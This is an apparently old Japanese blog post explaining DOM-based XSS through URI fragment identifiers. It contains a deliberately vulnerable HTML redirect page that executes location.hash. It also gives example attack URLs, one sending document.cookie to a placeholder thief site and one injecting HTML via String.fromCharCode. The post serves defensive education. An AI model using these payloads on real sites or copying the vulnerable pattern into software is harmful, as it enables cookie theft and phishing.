■XSS脆弱性はどこに隠れているのでしょう(2)

編集前記(笑):

どこから手をつけたら良いのか不明ですので、とりとめもなく書き始めることに。編集中は訂正やら削除やら記述の順番やらがどんどん変りますがご容赦下さい。

URI参照、URIフラグメント識別子

RFC2396(Uniform Resource Identifiers (URI): Generic Syntax)では、URIについての詳しい文法が記されていますが、ここでは 4 のURI参照について見ておきます。URI参照の定義では、次のようになっています。(RFC2396はRFC3986に置き換えられています。)

URI-reference = [ absoluteURI | relativeURI ] [ "#" fragment ]

早い話、URIフラグメント識別子をあわせたものを、URI 参照と呼びます。厳密には URI 参照と呼ぶべきものを一般にはURIと区別無く呼んでいることでしょうがここでは頭を切り替えてください。以下のURI参照を例題に見てみます。

http://d.hatena.ne.jp/keyworddiary/%a4%cf%a4%c6%a4%ca#keyworddiary

上でURIは以下のようになります。

http://d.hatena.ne.jp/keyworddiary/%a4%cf%a4%c6%a4%ca

また、フラグメント識別子は以下のようになります。

keyworddiary

さて、URI参照をa要素で記述する等、HTMLに記載しておいたとしてブラウザはどのようにサーバにコンテンツを要求するのでしょう。要求するときのURIをリクエスURIと呼びましょう。RFC2616(HTTP1.1) の 3.2.2 http URL およびに、5.1.2 Request-URI を見れば HTTPにおいてどのようなURIのリクエストが正しいのかはわかります。下のような形です。

http_URL = "http:" "//" host [ ":" port ] [ abs_path [ "?" query ] ]

これはブラウザからサーバに要求する時の形です。このようなものが伝送されるべきということです。リクエスURIもまた、URI同様、フラグメントは含みません。URI参照に含まれるフラグメント識別子はサーバには送らないのです。

ブラウザと同様にクライアントとなる身近な存在?が検索エンジンロボットです。クロウラですか。ロボット君も当然のことながらリクエスURIにフファグメント識別子を含めてはいけません。これに関しては最近面白い記事を読みました。otsuneさんの、void GraphicWizardsLair( void ); //の、2004/05/30から引用させて頂きます。

"GET /diary/2004/04/30.html#200404301 HTTP/1.0"というような、a name以下をそのまま送ってくるありえないクエリーを出してくるのが特徴のバカbot

ロボット君よ、フラグメント識別子をリクエスURIに含めてくれるな、と言う事でしょう。a要素のname属性で終点アンカーを書き下す時に始点アンカーは、a要素のhref属性にてURI参照として、つまりフラグメント識別子付きで書き下します。そのまんまでリクエストするのは反則ですのでくだんのロボットは修正したほうが良いでしょう。>誰となく。さて、リクエスト時点で一般のブラウザではどうかと言えばフラグメント識別子URI参照から除外してURIのみにしています。お利口さんですね。たぶん。

フラグメント識別子を汚染してXSS脆弱性への攻撃が成立しえるか

XSS脆弱性を突く攻撃の本質はサーバに対する攻撃ではなくブラウザに対する攻撃であることを明示できるモデルとして、フラグメント識別子を汚染してXSS脆弱性への攻撃が成立しえるかどうかについて考えて見た事があります。フラグメント識別子はサーバに対してリクエストとして渡されないデータですから、サーバ側のOS、httpdミドルウェア、Webアプリケーションでは汚染除去、サニタイズは原理的に出来ないはずなのです。言いすぎかな?20050303言いすぎでした。クライアント側でサーバサイドのスクリプト(ASPとか)を動的に呼び出すことが出来ましたね。サーバ側のCPUやメモリ上ではサニタイズは不可能、と言っておきます。汚染は直接クライアントを襲います。もしもサニタイズをしなくてはならないのであるならばそれにはブラウザ側のメモリやCPUを使うはずです。こうしたモデルがひとつでも見出せればXSS脆弱性のひとつの側面をありありと表現できるに違いなくセキュリティー上の防衛には一役買うことでしょう。また、サーバ側各種ログを含めて検知出来ないタイプの攻撃もありうる、しかもそれはサーバ側提供のコンテンツが踏み台になっているという側面も強調出きるかもしれません。

とは言え、随分と前に考えた事でして、今回後述するように某所にて反応がなければこうして整備して発表する気もなかったことですし、なにより昔作ったサンプルをサルベージするのがちょっと大変でした。とまれ、サルベージに成功し、ちょっと清書したサンプルを次節に掲げます。HTML文書にてXSS脆弱性が発現しているサンプルとなります。

XSS脆弱性を持つHTMLファイルのサンプル

以下のようなサンプルを作成してみました。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<title>Web Page Redirection</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="Content-Style-Type" content="text/css">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<style type="text/css">
<!-- /* begin of style */
input {
    border-right : 0 none inherit; 
    border-top : 0 none inherit; 
    border-left : 0 none inherit; 
    border-bottom : 0 none inherit; 
    background-color : transparent; 
    border-style : hidden;
} 
/* end of style */ -->
</style>
</head>
<body>
<noscript>
<h1>Sorry.....</h1>
<p>We are sorry, if your browser does not support JavaScript, 
or if you have JavaScript disabled, 
the page you requested could not be displayed.</p>
</noscript>
<h1>Web Page Redirection</h1>
<p>CAUTION: A cross-site scripting vulnerability is found in this page.</p>
<form name="dum" action="javascript:location.href=location.hash.substring(1)">
<input type="submit" value="">
</form>
<script type="text/javascript">
<!--
if (location.hash.substring(1)!=""){
    document.dum.submit()
}
//  -->
</script>
</body>
</html>

意図した仕様(でっちあげ【笑】)は以下のようになります。

  • 誰でも使えるフリーなリダイレクトを行う機能を設けたい。広告でもうけたい。
  • サーバのCGIを使うと処理能力がもったいないので避ける
  • サーバのログには飛び先に関する情報はあえて採取したくない、むしろそれが売り。
  • リファがサーバのログに残るがお約束。
  • 飛び先からは真の飛び元を隠してさしあげる。
  • そうはいうものの、サーバのログどうしで時刻を突き合わせればなにかしら、どこからどこへ飛んだかわかるようにはしておく

実験仕様は以下の通りです。

  • HTMLである。
  • およそ考えられないくらい強度のXSS脆弱性を持っている
  • できるだけブラウザを選ばない弱さを持っている
  • サーバ単体にはXSS脆弱性の痕跡が残らない。
  • リダイレクトとして使うなら要素や属性を分解破壊したり挿入したりしていないでXSS攻撃がありうる。DOMレベルでもHTML構造に変化がない。hoshikuzuの口癖のXSS脆弱性攻撃はHTMLの構造を侵襲することだ、の一反例。自分の中ではポイント高い。
  • XSS脆弱性の調査範囲にHTMLを含めたほうが良いのでは?と問いかけ。

このHTMLファイルの名前をa.htmlと呼び、Aサイトにあるものとし、飛び先をBサイトのb.htmlだとします。リダイレクトをしたければ普通は以下のように使うはずです。

http://Aサイト/a.html#http://Bサイト/b.html

で、お約束のcookie採取は例えば以下のような感じ。

http://Aサイト/a.html#javascript:location.replace('http://泥棒サイト/'+document.cookie)

cookieを発行してなければ別の手口。AサイトでHTMLを書いてみる。ここでは例としてボタンを作成。OperaIEで確認。

http://Aサイト/a.html#javascript:document.write(String.fromCharCode(0x3C,0x73,0x74,0x79,0x6C,0x65,0x3E,0x62,0x6F,0x64,0x79,0x7B,0x63,0x6F,0x6C,0x6F,0x72,0x3A,0x77,0x68,0x69,0x74,0x65,0x7D,0x3C,0x2F,0x73,0x74,0x79,0x6C,0x65,0x3E,0x3C,0x62,0x75,0x74,0x74,0x6F,0x6E,0x3E)+'push')

そのほか、具体的には書きませんがAサイトへのオートF5攻撃もありますね。それと、Aサイトのa.html以外の大事なページを別ウインドウで呼び出してコントロールしちゃうとかがもしも可能ならば本当にキビシイですね。試した事ありませんが。というわけで上のリダイレクトは本当にヨワヨワです。もっと普通でないキャラクターをフラグメントで使ってみるとイロイロなことになるかもしれません。あ、大事なことを忘れてました。XSSの延長ですがフィッシュング詐欺の踏み台になるかも。ようするに普通に駄目ですね。

危険性のまとめをここに書く予定

  • フラグメントについて
  • サーバに痕跡が残りにくい
  • 極端な事例なので現実にはありえない

bun様によるリファラの事例

参照ポインタ

気がつきにくい。目の前にある危険

汎用のフレーム制御

クエリーでフレームの親子構造を決めているHTMLな文書

IPA文書におけるサニタイズではフラグメントによる参照を許可しない(正しい挙動)

rfcにおいてフラグメントはURLの一部ではないこと

フラグメントを含むアドレスの正しいサニタイズは難しい。状況に依存する。たとえばフラグメントのみからなるアンカーの汚染事例

安心したければ『#』に注意

ユーザビリティー・アクセシビリティーから見たjavascript

javascript抜きでナビゲーションが可能でなければ駄目

その上で便宜性を教化できるのならOK

それでもセキュリティー上の危険は残る。安易に使うな

プロトコルを使わないXSS脆弱性

locationやreferrerを使っていないが発生する可能性

安易にFORM入力値をjavascriptで行わない